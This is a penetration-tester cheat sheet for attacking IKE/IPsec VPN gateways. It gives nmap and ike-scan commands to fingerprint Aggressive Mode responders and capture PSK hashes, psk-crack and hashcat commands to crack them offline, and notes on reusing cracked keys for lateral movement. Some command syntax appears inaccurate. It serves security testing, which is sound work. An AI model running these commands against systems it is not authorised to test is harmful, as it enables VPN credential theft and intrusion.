IKE Cheat Sheet for Pentration TEsters

IKE (Internet Key Exchange) is part of the IPsec protocol suite, responsible for negotiating security associations for secure VPN tunnels. Misconfigurations or weak pre-shared keys (PSKs) in IKE Phase 1 can expose VPN infrastructure to brute-force attacks and information disclosure. This cheat sheet covers enumeration, exploitation techniques, and relevant tools.

---

1. Understanding IKE Phases

• IKE Phase 1: Establishes a secure channel for negotiation (ISAKMP). Can use Main Mode or Aggressive Mode.
• IKE Phase 2: Negotiates IPSec parameters to protect data traffic.

Vulnerable Configuration

Aggressive Mode with pre-shared keys is vulnerable because:

• It leaks the hash of the PSK.
• It identifies the VPN group or user (ID payload).
• Allows offline brute-forcing of the PSK.

---

2. Identifying IKE/ISAKMP Services

Scanning with Nmap

nmap -sU -p 500 --script ike-version <target>

Checks if the IKE service is running (UDP/500).

nmap -sU -p500 --script ike-scan <target>

Attempts to identify IKE transforms and configurations.

---

3. Enumeration and Fingerprinting

Using ike-scan (Main Tool)

ike-scan <target>

Basic scan to check for IKE responders.

ike-scan -M -A <target>

Performs Aggressive Mode scan and extracts ID and hash (vulnerable to PSK cracking).

ike-scan --showbackoff -M -A -P -R <target>

• Retrieves responder hash (HASH_R) for offline brute-forcing.

Analyzing IKE Responses

• Aggressive Mode responses will include:
  • Group name / ID
  • HASH_R (pre-shared key hash)

---

4. Brute-Forcing PSKs (Offline Cracking)

Using psk-crack

psk-crack --pskfile wordlist.txt ike-scan.pcap

Attempts to crack HASH_R captured by ike-scan.

Using Hashcat

Extract hash in IKEv1 Aggressive Mode format:

./ike-scan -M -A <target> --id=group_name --pskcrack=output.txt

Use Hashcat with mode 5300:

hashcat -m 5300 output.txt wordlist.txt

---

5. Exploiting Vulnerabilities

1. VPN Group Enumeration

ike-scan -M -A -P -R <target>

• Reveals VPN group name if misconfigured.

2. Pre-Shared Key Reuse Across Environments

• Once cracked, the PSK may work across multiple gateways or for lateral movement.

---

IKE Phase 1 misconfigurations—especially those using Aggressive Mode with weak PSKs—can expose VPN gateways to serious risk. Properly fingerprinting and testing these services can uncover credentials or lead to further internal access.